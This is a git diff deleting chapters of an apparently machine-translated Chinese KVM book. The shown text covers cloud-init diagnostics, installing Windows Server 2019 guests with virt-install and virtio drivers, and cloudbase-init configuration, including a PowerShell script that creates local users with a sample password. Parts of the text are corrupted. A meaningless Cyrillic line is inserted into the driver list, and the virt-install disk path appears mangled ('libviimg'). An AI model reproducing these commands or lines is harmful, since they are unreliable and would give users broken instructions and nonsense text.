有关调试的更多信息,请参见[https://cloudinit.readthedocs.io/en/latest/topics/debugging.html](https://cloudinit.readthedocs.io/en/latest/topics/debugging.html)。 - -`results.json`文件保存这个特定的实例元数据。 `status.json`更集中于整个进程运行时发生的情况,它提供了有关可能的错误、配置系统不同部分所需的时间以及是否已完成所有操作的信息。 - -这两个文件都旨在帮助配置和编排,虽然这些文件中的一些内容只对 Cloud-init 很重要,但是其他编排工具可以使用检测不同云环境并与之交互的能力。 文件只是其中的一部分。 - -该方案的另一个重要部分是名为`cloud-init`的命令行实用程序。 要从其中获取信息,我们首先需要登录到我们创建的计算机。 我们将展示由同一文件创建的计算机之间的差异,同时演示发行版之间的相似和不同之处。 - -在我们开始讨论这个之前,请注意 cloud-init 和所有 Linux 软件一样,有不同的版本。 CentOS 7 镜像使用旧版本 0.7.9: - -![Figure 9.25 – CentOS cloud-init version – quite old ](img/B14834_09_25.jpg) - -图 9.25-CentOS cloud-init 版本-相当旧 - -Ubuntu 提供了一个更新鲜的版本,19.3: - -![Figure 9.26 – Ubuntu cloud-init version – up to date ](img/B14834_09_26.jpg) - -图 9.26-Ubuntu cloud-init 版本-最新 - -在你惊慌失措之前,这并不像看起来那么糟糕。 Cloud-init 在几年前决定改变它的版本控制系统,所以在 0.7.9 之后是 17.1。 有很多更改,其中大多数都直接连接到 cloud-init 命令和配置文件。 这意味着部署会起作用,但我们部署后的很多事情就不会了。 最明显的区别可能是当我们运行`cloud-init --help`时。 对于 Ubuntu,它看起来是这样的: - -![Figure 2.27 – Cloud-init features on Ubuntu ](img/B14834_09_27.jpg) - -图 2.27-Ubuntu 上的 Cloud-init 功能 - -实际上,CentOS 缺少很多东西,其中一些是完全缺少的: - -![ Figure 9.28 – Cloud-init features on CentOS ](img/B14834_09_28.jpg) - -图 9.28-CentOS 上的 Cloud-init 功能 - -由于我们的示例总共有个正在运行的实例-一个 Ubuntu 和两个 CentOS 虚拟机-让我们尝试手动升级到 CentOS 上可用的最新稳定版本 cloud-init。 我们可以使用常规的`yum update`命令来实现这一点,结果如下所示: - -![ Figure 9.29 – After a bit of yum update, an up-to-date list of cloud-init features ](img/B14834_09_29.jpg) - -图 9.29-在进行了一些 yum 更新之后,列出了最新的 cloud-init 特性列表 - -正如我们所看到的,这将使操作变得容易得多。 - -我们不打算深入讨论云初始化 CLI 工具的太多细节,因为对于这样一本书来说,可用的信息实在太多了,而且正如我们所看到的,新功能正在迅速添加。 您可以通过浏览[https://cloudinit.readthedocs.io/en/latest/topics/cli.html](https://cloudinit.readthedocs.io/en/latest/topics/cli.html)来自由检查其他选项。 事实上,它们的添加速度如此之快,以至于有一个`devel`选项可以在它们处于活跃开发阶段时保留新特性。 一旦完成,它们就变成了自己的命令。 - -您需要了解两个命令,这两个命令都提供了有关引导过程和引导系统状态的大量信息。 第一个是`cloud-init analyze`。 它有两个非常有用的子命令:`blame`和`show`。 - -名为`blame`的工具实际上是一个工具,它返回在启动期间 Cloud-init 执行的不同过程中发生的事情上花费了多少时间。 例如,我们可以看到在 Ubuntu 上配置`grub`和使用文件系统是最慢的操作: - -![ Figure 9.30 – Checking time consumption for cloud-init procedures ](img/B14834_09_30.jpg) - -图 9.30-检查 Cloud-init 过程的时间消耗 - -我们部署的第三个虚拟机使用 CentOS 镜像,并向其中添加了`httpd`。 推而广之,这是迄今为止在 Cloud-init 过程中发生的最慢的事情: - -![ Figure 9.31 – Checking time consumption – it took quite a bit of time for cloud-init to deploy the necessary httpd packages ](img/B14834_09_31.jpg) - -图 9.31-检查时间消耗-cloud-init 部署必要的 httpd 包花费了相当长的时间 - -这样的工具使优化部署变得更容易。 在我们的特定情况下,这几乎没有任何意义,因为我们部署的简单机器几乎没有更改默认配置,但是能够理解部署缓慢的原因即使不是必要的,也是非常有用的。 - -另一件有用的事情是能够查看实际启动虚拟机所需的时间: - -![ Figure 9.32 – Checking the boot time ](img/B14834_09_32.jpg) - -图 9.32-检查引导时间 - -我们将以一个查询结束本部分-`cloud-init query`使您能够从服务请求信息,并以一种可用的结构化格式获取信息,然后您可以对其进行解析: - -![Figure 9.33 – Querying cloud-init for information ](img/B14834_09_33.jpg) - -图 9.33-查询 cloud-init 以获取信息 - -在使用它几个小时之后,cloud-init 就成为系统管理员必不可少的工具之一。 当然,它的本质意味着它将更适合我们这些必须在云环境中工作的人,因为它做得最好的是从脚本快速、无痛地部署机器。 但是,即使您没有使用云技术,快速创建可用于测试的实例,然后毫不费力地将其删除的能力,也是每个管理员都需要的。 - -# 摘要 - -在本章中,我们介绍了 cloud-init、其架构,以及在配置一致性和敏捷性至关重要的大型部署场景中的好处。 这与我们不需要手动完成所有工作的范式变化相结合--我们有一个工具可以为我们完成--这对我们的部署流程来说是一个极好的补充。 确保您尝试使用它,因为它将使您的生活变得容易得多,同时让您为使用云虚拟机做好准备,在云虚拟机中,cloud-init 被广泛使用。 - -在下一章中,我们将学习如何通过使用 cloudbase-init 将此使用模型扩展到 Windows 虚拟机。 - -# 问题 - -1. 使用 CentOS7 和 Ubuntu 基础云初始化映像重新创建我们的设置。 -2. 使用相同的基础镜像创建一个 Ubuntu 实例和两个 CentOS 实例。 -3. 使用 Ubuntu 添加第四台虚拟机作为基础映像。 -4. 尝试在不更改任何配置文件的情况下使用其他发行版本作为基本映像。 试一试 FreeBSD。 -5. 不使用 SSH 密钥,而使用预定义的密码。 这是更安全还是更不安全? -6. 创建一个脚本,该脚本将使用 cloud-init 和一个基本映像创建 10 个相同的机器实例。 -7. 您能找到为什么使用发行版原生方式安装计算机比使用 cloud-init 更有利的原因吗? - -# 进一步阅读 - -有关本章内容的更多信息,请参阅以下链接: - -* 云初始化文档中心:[https://cloudinit.readthedocs.io/en/latest/](https://cloudinit.readthedocs.io/en/latest/) -* Cloud-init 的项目主页:[https://cloud-init.io/](https://cloud-init.io/) -* 源代码:[HTTPS://code.Launchpad.net/cloud-init](https://code.launchpad.net/cloud-init) -* 特别好的配置文件示例:[https://cloudinit.readthedocs.io/en/latest/topics/examples.html](https://cloudinit.readthedocs.io/en/latest/topics/examples.html) \ No newline at end of file diff --git a/docs/master-kvm-virtual/10.md b/docs/master-kvm-virtual/10.md deleted file mode 100644 index 4a046ed0..00000000 --- a/docs/master-kvm-virtual/10.md +++ /dev/null @@ -1,402 +0,0 @@ -# 十、自动化 Windows 访客部署和自定义 - -既然我们已经介绍了在 KVM 中部署基于 Linux 的**虚拟机**(**VM**)的不同方法,现在是将我们的重点转向 Microsoft Windows 的时候了。 具体地说,我们将在 KVM 上运行的 Windows Server 2019 计算机上工作,并介绍部署和自定义 Windows Server 2019 VM 的前提条件和不同场景。 本书不是基于**虚拟桌面基础架构**(**VDI**)和桌面操作系统的概念,它们需要与虚拟化服务器操作系统完全不同的场景、方法和技术实现。 - -在本章中,我们将介绍以下主题: - -* 在 KVM 上创建 Windows 虚拟机的前提条件 -* 使用`virt-install`实用程序创建 Windows 虚拟机 -* 使用`cloudbase-init`自定义 Windows 虚拟机 -* `cloudbase-init`自定义示例 -* 常见`cloudbase-init`自定义问题疑难解答 - -# 在 KVM 上创建 Windows 虚拟机的前提条件 - -当开始在 KVM 虚拟化上安装访客操作系统时,我们总是有相同的起点。 我们需要以下任一项: - -* 包含操作系统安装的 ISO 文件 -* 具有 VM 模板的映像 -* 要克隆和重新配置的现有虚拟机 - -让我们从头开始吧。 在本章中,我们将创建一个 Windows Server 2019 虚拟机。 选择版本是为了与市场上最新发布的微软服务器操作系统保持联系。 我们的目标是部署 Windows Server 2019 VM 模板,以便稍后用于更多部署和`cloudbase-init`,此安装过程的首选工具是`virt-install`。 如果您需要安装较旧版本(2016 或 2012),您需要了解两个事实: - -* 它们开箱即可在 CentOS 8 上获得支持。 -* 安装过程与我们的 Windows Server 2019 虚拟机相同。 - -如果要使用 Virtual Machine Manager 部署 Windows Server 2019,请确保正确配置虚拟机。 这包括为访客操作系统安装选择正确的 ISO 文件,并为`virtio-win`驱动程序连接另一个虚拟 CD-ROM,以便您可以在安装过程中安装它们。 确保您的 VM 在本地 KVM 主机上有足够的磁盘空间(建议使用 60 GB 以上),并且它有足够的马力来运行。 从两个虚拟 CPU 和 4 GB 内存开始,因为以后可以很容易地更改这一点。 - -在我们的场景中,下一步是创建一个 Windows VM,我们将在本章中使用它通过`cloudbase-init`进行自定义。 在真实的生产环境中,我们需要在其中进行尽可能多的配置-驱动程序安装、Windows 更新、常用应用等等。 所以,让我们先做这件事。 - -# 使用 virt-install 实用程序创建 Windows 虚拟机 - -我们需要做的第一件事是确保已经准备好安装`virtio-win`驱动程序-如果没有安装驱动程序,虚拟机将无法正常工作。 因此,让我们首先安装该程序包和`libguestfs`程序包,以防您的服务器上尚未安装它们: - -```sh -yum –y install virtio-win libguestfs* -``` - -然后,就可以开始部署我们的 VM 了。 以下是我们的设置: - -* Windows Server 2019 ISO 位于`/iso/windows-server-2019.iso`。 -* `virtio-win`ISO 文件位于默认系统文件夹`/usr/share/virtio-win/virtio-win.iso`中。 -* 我们将在默认系统文件夹`/var/lib/libvirt/images`中创建一个 60 GB 的虚拟磁盘。 - -现在,让我们开始安装过程: - -```sh -virt-install --name WS2019 --memory=4096 --vcpus 2 --cpu host --video qxl --features=hyperv_relaxed=on,hyperv_spinlocks=on,hyperv_vapic=on --clock hypervclock_present=yes --disk /var/lib/libviimg/WS2019.qcow2,format=qcow2,bus=virtio,cache=none,size=60 --cdrom /iso/windows-server-2019.iso --disk /usr/share/virtio-win/virtio-win.iso,device=cdrom --vnc --os-type=windows --os-variant=win2k19 --accelerate --noapic -``` - -当安装过程开始时,我们必须单击几次**下一步**,然后才能进入配置屏幕,在该屏幕中我们可以选择要安装访客操作系统的磁盘。 在屏幕左侧的底部,有一个名为**Load Driver**的按钮,我们现在可以重复使用它来安装所有必要的`virtio-win`驱动程序。 确保取消选中**隐藏与此计算机硬件不兼容的驱动程序**复选框。 然后,从指定的目录中逐个添加以下驱动程序,并用鼠标选择: - -* `AMD64\2k19`:**Red Hat VirtIO SCSI 控制器**。 -* `Balloon\2k19\amd64`:**VirtIO 气球驱动程序**。 -* `NetKVM\2k19\AMD64`:**Red Hat VirtIO 以太网适配器**。 -* `qemufwcfg\2k19\amd64`:**QEMU FWCfg 设备**。 -* `qemupciserial\2k19\amd64`:**QEMU 串行 PCI 卡**。 -* `vioinput\2k19\amd64`:**VirtIO Input Driver**和**VirtIO Input Driver Helper**;选择这两个选项。 -* `viorng\2k19\amd64`:**VirtIO RNG 设备**。 -* `vioscsi\2k19\amd64`:**Red Hat VirtIO SCSI 直通控制器**。 -* Колибрипрограмметсяпрограммированияпрограммется. -* `viostor\2k19\amd64`:**Red Hat VirtIO SCSI 控制器**。 - -之后,单击**下一步**,等待安装过程完成。 - -您可能会问自己:*为什么我们在安装过程这么早就对此进行微观管理,而我们本可以在以后执行此操作?*答案是双重的-如果我们稍后执行此操作,我们将会遇到以下问题: - -* 有个机会--至少对于某些操作系统--在安装开始之前,我们无法加载所有必要的驱动程序,这可能意味着安装将崩溃。 -* 我们在**设备管理器**中会有大量的黄色感叹号,这通常会让人感到厌烦。 - -按照部署后的情况,我们的设备管理器很满意,安装也很成功: - -![Figure 10.1 – The operating system and all drivers installed from the get-go ](img/B14834_10_01.jpg) - -图 10.1-从一开始就安装操作系统和所有驱动程序 - -唯一强烈推荐的安装后配置是在引导 VM 之后从`virtio-win.iso`安装访客代理。 您将在虚拟 CD-ROM 的`guest-agent`目录中找到一个`.exe`文件,您只需单击**下一步**按钮,直到安装完成。 - -现在我们的 VM 已经准备好了,我们需要开始考虑定制。 具体地说,大规模定制,这是云中 VM 部署的正常使用模式。 这就是为什么我们需要使用`cloudbase-init`,这是我们的下一步。 - -# 使用 cloudbase-init 自定义 Windows 虚拟机 - -如果您有机会了解[*第 9 章*](09.html#_idTextAnchor165),*使用 cloud-init 自定义虚拟机*,我们讨论了一个名为`cloud-init`的工具。 我们将其用于客户操作系统定制,特别是针对 Linux 机器。 `cloud-init`在基于 Linux 的环境中大量使用,特别是在基于 Linux 的云中,用于执行云 VM 的初始化和配置。 - -`cloudbase-init`背后的理念是相同的,但它是针对 Windows 客户操作系统的。 它的基本服务在我们引导 Windows 客户操作系统实例时启动,并读取配置信息并对其进行配置/初始化。 在本章的稍后部分,我们将展示几个`cloudbase-init`操作的示例。 - -`cloudbase-init`能做什么? 特性列表相当长,因为`cloudbase-init`的核心是模块化方法,所以它提供了许多插件和解释器,可以用来扩展其覆盖范围: - -* 它可以执行自定义命令和脚本,这些命令和脚本通常是用 PowerShell 编写的,不过也支持常规的 CMD 脚本。 -* 它可以与 PowerShell 远程处理和**Windows 远程管理**(**WinRM**)服务一起使用。 -* 它可以管理和配置磁盘,例如进行卷扩展。 -* It can do basic administration, including the following: - - A)创建用户和密码 - - B)设置主机名 - - C)配置静态网络 - - D)配置 MTU 大小 - - E)分配许可证 - - F)使用公钥 - - G)同步时钟 - -我们之前提到过,我们的 Windows Server 2019 虚拟机将用于`cloudbase-init`定制,因此这是我们的下一个主题。 让我们为`cloudbase-init`准备好我们的 VM。 我们将通过下载并安装`cloudbase-init`安装程序来实现这一点。 我们可以通过将互联网浏览器指向[https://cloudbase-init.readthedocs.io/en/latest/intro.html#download](https://cloudbase-init.readthedocs.io/en/latest/intro.html#download)来找到`cloudbase-init`安装程序。 安装非常简单,它可以以常规的图形用户界面方式和静默方式工作。 如果您习惯于使用 Windows Server Core 或首选静默安装,您可以使用以下命令使用 MSI 安装程序进行静默安装: - -```sh -msiexec /i CloudbaseInitSetup.msi /qn /l*v log.txt -``` - -请确保查看`cloudbase-init`文档以了解更多配置选项,因为安装程序支持其他运行时选项。 它位于[https://cloudbase-init.readthedocs.io/en/latest/](https://cloudbase-init.readthedocs.io/en/latest/)。 - -让我们继续使用 GUI 安装程序,因为它使用起来更简单,特别是对于初次使用的用户。 首先,安装程序将询问许可协议和安装位置--只是一些常见的问题。 然后,我们将看到以下选项屏幕: - -![Figure 10.2 – Basic configuration screen ](img/B14834_10_02.jpg) - -图 10.2-基本配置屏幕 - -它要求我们做的是授予创建`cloudbase-init`配置文件(包括`cloudbase-init-unattend.conf`和`cloudbase-init.conf`)的权限,同时考虑到这个特定的未来用户。 此用户将是本地`Administrators`组的成员,并将在我们开始使用新映像时用于登录。 这将反映在我们的两个配置文件中,所以如果我们在这里选择`Admin`,那就是要创建的用户。 它还询问我们是否希望将`cloudbase-init`服务作为`LocalSystem`服务运行,我们选择该服务是为了简化整个过程。 原因非常简单--这是我们可以为我们的`cloudbase-init`服务提供的最高级别的权限,以便它们可以执行它的操作。 翻译:然后,`cloudbase-init`服务将作为`LocalSystem`服务帐户运行,该帐户可以无限制地访问所有本地系统资源。 - -最后一个配置屏幕将询问我们如何运行 sysprep。 通常,我们在这里不选中**run sysprep 来创建通用映像**框,因为我们首先需要创建一个`cloudbase-init`定制文件,然后运行 sysprep。 因此,请让以下窗口保持打开状态: - -![Figure 10.3 – The cloudbase-init installation wizard finishing up ](img/B14834_10_03.jpg) - -图 10.3-cloudbase-init 安装向导完成 - -现在已经安装并配置了服务`cloudbase-init`服务,让我们创建一个定制文件,该文件将使用`cloudbase-init`配置此 VM。 同样,确保此配置屏幕保持打开状态(具有已完成的设置向导),以便我们可以在完成创建`cloudbase-init`配置时轻松启动整个过程。 - -# cloudbase-init 定制示例 - -完成安装过程后,将在我们的安装位置创建一个包含一组文件的目录。 例如,在我们的 VM 中,创建了一个名为`c:\Program Files\Cloudbase Solutions\Cloudbase-init\`的目录,它具有以下子目录集: - -* `bin`:一些二进制文件的安装位置,如`elevate`、`bsdtar`、`mcopy`、`mdir`等。 -* `conf`:我们将使用的三个主要配置文件的位置,这将在稍后讨论。 -* `LocalScripts`:我们希望在引导后运行的 PowerShell 和类似脚本的默认位置。 -* `Log`:默认情况下我们将存储`cloudbase-init`日志文件的位置,以便我们可以调试任何问题。 -* `Python`:部署 Python 本地安装的位置,以便我们也可以使用 Python 编写脚本。 - -我们来关注一下`conf`目录,它包含我们的配置文件: - -* `cloudbase-init.conf` -* `cloudbase-init-unattend.conf` -* `unattend.xml` - -`cloudbase-init`的工作方式相当简单-它在 Windows sysprep 阶段使用`unattend.xml`文件通过`cloudbase-init-unattend.conf`配置文件执行`cloudbase-init`。 默认的`cloudbase-init-unattend.conf`配置文件易于阅读,我们可以使用`cloudbase-init`项目提供的示例,逐步解释默认配置文件: - -```sh -[DEFAULT] -# Name of the user that will get created, group for that user -username=Admin -groups=Administrators -firstlogonbehaviour=no -inject_user_password=true # Use password from the metadata (not random). -``` - -配置文件的下一部分是关于设备的-具体地说,检查哪些设备可能存在配置驱动器(元数据): - -```sh -config_drive_raw_hhd=true -config_drive_cdrom=true -# Path to tar implementation from Ubuntu. -bsdtar_path=C:\Program Files\Cloudbase Solutions\Cloudbase-Init\bin\bsdtar.exe -mtools_path= C:\Program Files\Cloudbase Solutions\Cloudbase-Init\bin\ -``` - -我们还需要配置一些用于日志记录的设置: - -```sh -# Logging level -verbose=true -debug=true -# Where to store logs -logdir=C:\Program Files (x86)\Cloudbase Solutions\Cloudbase-Init\log\ -logfile=cloudbase-init-unattend.log -default_log_levels=comtypes=INFO,suds=INFO,iso8601=WARN -logging_serial_port_settings= -``` - -配置文件的下一部分是关于网络的,因此我们将使用 DHCP 来获取示例中的所有网络设置: - -```sh -# Use DHCP to get all network and NTP settings -mtu_use_dhcp_config=true -ntp_use_dhcp_config=true -``` - -我们需要配置脚本驻留的位置,这些脚本与我们可以用作`cloudbase-init`过程一部分的脚本相同: - -```sh -# Location of scripts to be started during the process -local_scripts_path=C:\Program Files\Cloudbase Solutions\Cloudbase-Init\LocalScripts\ -``` - -配置文件的最后一部分是关于要加载的服务和插件,以及一些全局设置,例如是否允许`cloudbase-init`服务重新启动系统,以及我们将如何处理`cloudbase-init`关闭过程(`false=graceful service shutdown`): - -```sh -# Services for loading -metadata_services=cloudbaseinit.metadata.services.configdrive.ConfigDriveService, cloudbaseinit.metadata.services.httpservice.HttpService, -cloudbaseinit.metadata.services.ec2service.EC2Service, -cloudbaseinit.metadata.services.maasservice.MaaSHttpService -# Plugins to load -plugins=cloudbaseinit.plugins.common.mtu.MTUPlugin, - cloudbaseinit.plugins.common.sethostname.SetHostNamePlugin -# Miscellaneous. -allow_reboot=false # allow the service to reboot the system -stop_service_on_exit=false -``` - -我们先从一开始就解决几件事吧。 默认配置文件已经包含一些已弃用的设置,因为您很快就会发现这一点。 具体地说,本版本中已经弃用了`verbose`、`logdir`和`logfile`等设置,您可以从下面的屏幕截图中看到,其中`cloudbase-init`抱怨的正是这些选项: - -![Figure 10.4 – cloudbase-init complaining about its own default configuration file options ](img/B14834_10_04.jpg) - -图 10.4-cloudbase-init 抱怨自己的默认配置文件选项 - -如果我们希望通过使用默认配置文件使用`cloudbase-init`启动 sysprep,我们实际上将获得一个配置得相当好的 VM-它将被 sysprep,它将重置管理员密码,并要求我们在第一次登录时更改它,并删除现有的管理员用户及其目录。 因此,在执行此操作之前,我们需要确保将所有管理员用户设置和数据(文档、安装程序、下载等)保存在安全的位置。 此外,默认配置文件在默认情况下不会重新启动虚拟机,这可能会让您感到困惑。 我们需要手动重新启动虚拟机,以便可以启动整个过程。 - -同时使用`cloud-init`和`cloudbase-init`的最简单方法是写下在 VM 完成初始化过程时需要对其执行哪些操作的场景。 因此,我们将执行此操作-选择我们希望配置的大量设置,并相应地创建自定义文件。 以下是我们的设置: - -* 我们希望 VM 在 sysprep 之后和`cloudbase-init`过程之后要求我们更改密码。 -* 我们希望我们的 VM 从 DHCP 获取其所有网络设置(IP 地址、网络掩码、网关、DNS 服务器和 NTP)。 -* 我们希望 sysprep 虚拟机,以便它对每个场景和策略都是唯一的。 - -因此,让我们创建一个`cloudbase-init-unattend.conf`配置文件,它将为我们完成此任务。 配置文件的第一部分取自默认配置文件: - -```sh -[DEFAULT] -username=Admin -groups=Administrators -inject_user_password=true -config_drive_raw_hhd=true -config_drive_cdrom=true -config_drive_vfat=true -bsdtar_path=C:\Program Files\Cloudbase Solutions\Cloudbase-Init\bin\bsdtar.exe -mtools_path= C:\Program Files\Cloudbase Solutions\Cloudbase-Init\bin\ -debug=true -default_log_levels=comtypes=INFO,suds=INFO,iso8601=WARN -logging_serial_port_settings= -mtu_use_dhcp_config=true -ntp_use_dhcp_config=true -``` - -当我们决定使用 PowerShell 进行所有脚本编写时,我们为 PowerShell 脚本创建了一个单独的目录: - -```sh -local_scripts_path=C:\PS1 -``` - -该文件的其余部分也是从默认配置文件复制的: - -```sh -metadata_services=cloudbaseinit.metadata.services.base.EmptyMetadataService -plugins=cloudbaseinit.plugins.common.mtu.MTUPlugin, - cloudbaseinit.plugins.common.sethostname.SetHostNamePlugin, cloudbaseinit.plugins.common.localscripts.LocalScriptsPlugin,cloudbaseinit.plugins.common.userdata.UserDataPlugin -allow_reboot=false -stop_service_on_exit=false -``` - -对于`cloudbase-init.conf`文件,我们所做的唯一更改是选择了正确的本地脚本路径(原因稍后会提到),因为我们将在下一个示例中使用此路径: - -```sh -[DEFAULT] -username=Admin -groups=Administrators -inject_user_password=true -config_drive_raw_hhd=true -config_drive_cdrom=true -config_drive_vfat=true -``` - -此外,我们的默认配置文件的一部分包含用于`tar`、`mtools`和调试的路径: - -```sh -bsdtar_path=C:\Program Files\Cloudbase Solutions\Cloudbase-Init\bin\bsdtar.exe -mtools_path= C:\Program Files\Cloudbase Solutions\Cloudbase-Init\bin\ -debug=true -``` - -配置文件的这一部分也取自默认配置文件,我们只更改了`local_scripts_path`,以便将其设置为我们用来填充 PowerShell 脚本的目录: - -```sh -first_logon_behaviour=no -default_log_levels=comtypes=INFO,suds=INFO,iso8601=WARN -logging_serial_port_settings= -mtu_use_dhcp_config=true -ntp_use_dhcp_config=true -local_scripts_path=C:\PS1 -``` - -然后,我们可以返回到`cloudbase-init`安装屏幕,选中 sysprep 选项,然后单击**Finish**。 在启动 sysprep 进程并完成它之后,这是最终的结果: - -![Figure 10.5 – When we press Sign in, we are going to be asked to change the administrator's password ](img/B14834_10_05.jpg) - -图 10.5-当我们按下登录时,我们将被要求更改管理员的密码 - -现在,让我们更进一步,把事情复杂化一点。 假设您想要执行相同的过程,但是需要额外的 PowerShell 代码来执行一些额外的配置。 请考虑以下示例: - -* 它应该创建另外两个名为`packt1`和`packt2`的本地用户,并将预定义密码设置为`Pa$$w0rd`。 -* 它应该创建一个名为`students`的新本地组,并将`packt1`和`packt2`作为成员添加到该组。 -* 它应该将主机名设置为`Server1`。 - -使我们能够做到这一点的 PowerShell 代码应该包含以下内容: - -```sh -Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Force -$password = "Pa$$w0rd" | ConvertTo-SecureString -AsPlainText -Force -New-LocalUser -name "packt1" -Password $password -New-LocalUser -name "packt2" -Password $password -New-LocalGroup -name "Students" -Add-LocalGroupMember -group "Students" -Member "packt1","packt2" -Rename-Computer -NewName "Server1" -Restart -``` - -看一下脚本本身,它的功能如下所示: - -* 将 PowerShell 执行策略设置为无限制,以便宿主不会停止脚本执行(默认情况下会停止)。 -* 从明文字符串(`Pa$$w0rd`)创建密码变量,该变量将转换为可与`New-LocalUser`PowerShell cmdlet 一起使用以创建本地用户的安全字符串。 -* `New-LocalUser`是创建本地用户的 PowerShell cmdlet。 必选参数包括用户名和密码,这就是我们创建安全字符串的原因。 -* `New-LocalGroup`是创建本地组的 PowerShell cmdlet。 -* `Add-LocalGroupMember`是一个 PowerShell cmdlet,允许我们创建新的本地组并向其中添加成员。 -* `Rename-Computer`是更改 Windows 计算机主机名的 PowerShell cmdlet。 - -我们还需要以某种方式从`cloudbase-init`调用此代码,因此需要将此代码添加为脚本。 最常见的情况是,我们将使用`cloudbase-init`安装文件夹中名为`LocalScripts`的目录。 让我们调用此脚本`userdata.ps1`,将前面提到的内容保存到文件夹中,如`.conf`文件(`c:\PS1`)中所定义,并在文件顶部添加一个`cloudbase-init`参数: - -```sh -# ps1 -$password = "Pa$$w0rd" | ConvertTo-SecureString -AsPlainText -Force -New-LocalUser -name "packt1" -Password $password -New-LocalUser -name "packt2" -Password $password -New-LocalGroup -name "Students" -Add-LocalGroupMember -group "Students" -Member "packt1","packt2" -Rename-Computer -NewName "Server1" –Restart -``` - -再次启动`cloudbase-init`过程(可以通过启动`cloudbase-init`安装向导并像我们在上一个示例中那样完成该过程)之后,以下是关于用户的最终结果: - -![Figure 10.6 – The packt1 and packt2 users were created, and added to the group created by our PowerShell script ](img/B14834_10_06.jpg) - -图 10.6-创建了 Packt1 和 Packt2 用户,并将其添加到 PowerShell 脚本创建的组中 - -我们可以清楚地看到创建了`packt1`和`packt2`用户,以及一个名为`Students`的组。 然后我们可以看到`Students`组有两个成员-`packt1`和`packt2`。 另外,在设置服务器名称方面,我们有以下几个方面: - -![Figure 10.7 – Slika 1\. Changing the server name via PowerShell script also works ](img/B14834_10_07.jpg) - -图 10.7-Slika 1.也可以通过 PowerShell 脚本更改服务器名称 - -使用`cloudbase-init`确实不简单,在时间和修补方面需要一些投资。 但之后,这将使我们的工作变得容易得多--不再被迫一遍又一遍地做这样的徒步任务应该是一种足够的奖励,这就是为什么我们需要稍微谈一谈故障排除的原因。 我们确信,当您提高`cloudbase-init`的使用率时,您会遇到这些问题。 - -# 排除常见的 cloudbase-init 自定义问题 - -坦率地说,您可以坦率地说,`cloudbase-init`文档并没有那么好。 寻找如何执行 PowerShell 或 Python 代码的示例充其量也是困难的,而官方页面在这方面实际上并没有提供任何帮助。 因此,让我们讨论一下在使用`cloudbase-init`时发生的一些最常见的错误。 - -尽管这似乎有违直觉,但我们让`cloudbase-init`使用最新的开发版本而不是最新的稳定版本要成功得多。 我们不确定问题出在哪里,但最新的开发版本(在撰写本文时,这是版本 0.9.12.dev125)一开始就为我们工作。 在 0.9.11 版本中,我们甚至在启动 PowerShell 脚本时都遇到了很大的问题。 - -除了这些问题,当你了解`cloudbase-init`的时候,你肯定还会遇到其他问题。 第一个是重启循环。 这个问题真的很常见,而且几乎总是因为两个原因而发生: - -* 配置文件中的错误-模块或选项的错误名称,或类似的东西 -* 作为要在`cloudbase-init`进程中执行的外部脚本调用的某些外部文件(位置或语法)中存在错误 - -在配置文件中出错是经常发生的事情,它会使`cloudbase-init`进入一种奇怪的状态,结果如下: - -![Figure 10.8 – Error in configuration ](img/B14834_10_08.jpg) - -图 10.8?配置错误 - -这种情况我们已经见过很多次了。 真正的问题是,有时需要数小时的等待,有时需要多次重启,但这不仅仅是常规的重启循环。 看起来`cloudbase-init`真的在做一些事情-CMD 启动了,你在里面或屏幕上都没有看到错误,但它一直在做一些事情,然后就像这样结束了。 - -您可能会遇到的其他问题甚至更加棘手-例如,当`cloudbase-init`在 sysprep/`cloudbase-init`过程中重置密码失败时。 如果您手动更改`cloudbase-init`服务正在使用的帐户密码,就会发生这种情况(因此,为什么使用`LocalSystem`更好)。 这将导致整个`cloudbase-init`过程失败,其中一部分可能是重置密码失败。 - -发生这种情况还有一个更加模糊的原因--有时我们使用`services.msc`控制台手动管理系统服务,并故意禁用我们不能立即识别的服务。 如果您将`cloudbase-init`服务设置为禁用,它的处理过程也会失败。 这些服务需要具有自动启动优先级,不应手动重新配置为禁用。 - -由于某些安全策略(例如,如果密码不够复杂),重置密码失败也可能发生。 这就是为什么我们在 PowerShell 脚本中使用了更复杂的密码,因为我们大多数系统工程师很久以前就学到了这一点。 - -此外,有时公司有不同的安全策略,这可能会导致某些负责管理`cloudbase-init`服务的管理应用(例如软件清单)停止或完全卸载该服务。 - -我们能遇到的最令人沮丧的错误是`cloudbase-init`进程没有从其指定的文件夹启动脚本。 在花费数小时完善需要添加到定制过程中的 Python、`bash`、cmd 或 PowerShell 脚本之后,看到这种情况总是令人抓狂。 为了能够使用这些脚本,我们需要使用能够调用并执行外部脚本的特定插件。 这就是为什么我们通常使用`UserDataPlugin`--无论是出于执行还是调试的原因--因为它可以执行所有这些脚本类型,并给出一个错误值,然后我们可以将其用于调试目的。 - -最后一件事-确保您没有将 PowerShell 代码直接插入到`conf`文件夹中的`cloudbase-init`配置文件中。 您只会得到一个重启循环作为奖励,所以要小心。 - -# 摘要 - -在本章中,我们讨论了 Windows 虚拟机定制,这一主题与 Linux 虚拟机定制同等重要。 也许更重要的是,要记住市场份额数据以及很多人在云环境中使用 Windows 的事实。 - -既然我们已经涵盖了使用 VM、模板和定制方面的所有基础,现在是时候引入一种不同的方法来进行额外的定制了,该方法是对`cloud-init`和`cloudbase-init`的补充。 因此,下一章是关于这种方法的,它是基于 Ansible 的。 - -# 问题 - -1. 我们需要在 Windows 访客操作系统上安装哪些驱动程序,才能在 KVM 虚拟机管理器上创建 Windows 模板? -2. 我们需要在 Windows 访客操作系统上安装哪个代理才能更好地查看虚拟机的性能数据? -3. 什么是 sysprep? -4. `cloudbase-init`是用来做什么的? -5. `cloudbase-init`的常规用例有哪些? - -# 进一步阅读 - -有关详细信息,请参阅以下链接: - -* 微软`LocalSystem`客户文档:[https://docs.microsoft.com/en-us/windows/win32/ad/the-localsystem-account](https://docs.microsoft.com/en-us/windows/win32/ad/the-localsystem-account) -* `cloudbase-init`文档:[https://cloudbase-init.readthedocs.io/en/Latest/Intro.html](https://cloudbase-init.readthedocs.io/en/latest/intro.html) -* `cloudbase-init`插件文档:[https://cloudbase-init.readthedocs.io/en/latest/plugins.html](https://cloudbase-init.readthedocs.io/en/latest/plugins.html) -* `cloudbase-init`服务文档:[https://cloudbase-init.readthedocs.io/en/Latest/services.html](https://cloudbase-init.readthedocs.io/en/latest/services.html) \ No newline at end of file diff --git a/docs/master-kvm-virtual/11.md b/docs/master-kvm-virtual/11.md deleted file mode 100644 index f2082709..00000000 --- a/docs/master-kvm-virtual/11.md +++ /dev/null @@ -1,812 +0,0 